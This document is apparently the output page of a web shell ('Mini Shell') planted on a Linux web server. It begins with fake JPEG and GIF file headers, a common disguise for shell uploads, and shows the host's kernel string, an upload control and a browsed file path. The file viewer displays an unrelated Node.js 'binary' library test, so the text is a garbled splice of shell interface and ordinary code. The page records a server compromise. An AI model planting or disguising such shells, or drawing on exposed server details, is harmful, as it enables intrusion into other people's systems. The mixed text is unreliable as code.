ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/node_modules/binary/test/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/node_modules/binary/test/nested.js

var binary = require('../');
var test = require('tap').test;
var EventEmitter = require('events').EventEmitter;

test('nested', function (t) {
    t.plan(3);
    var insideDone = false;
    
    var em = new EventEmitter;
    binary.stream(em)
        .word16be('ab')
        .tap(function () {
            this
                .word8('c')
                .word8('d')
                .tap(function () {
                    insideDone = true;
                })
            ;
        })
        .tap(function (vars) {
            t.ok(insideDone);
            t.same(vars.c, 'c'.charCodeAt(0));
            t.same(vars.d, 'd'.charCodeAt(0));
            
        })
    ;
    
    var strs = [ 'abc', 'def', 'hi', 'jkl' ];
    var iv = setInterval(function () {
        var s = strs.shift();
        if (s) em.emit('data', new Buffer(s));
        else clearInterval(iv);
    }, 50);
});

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST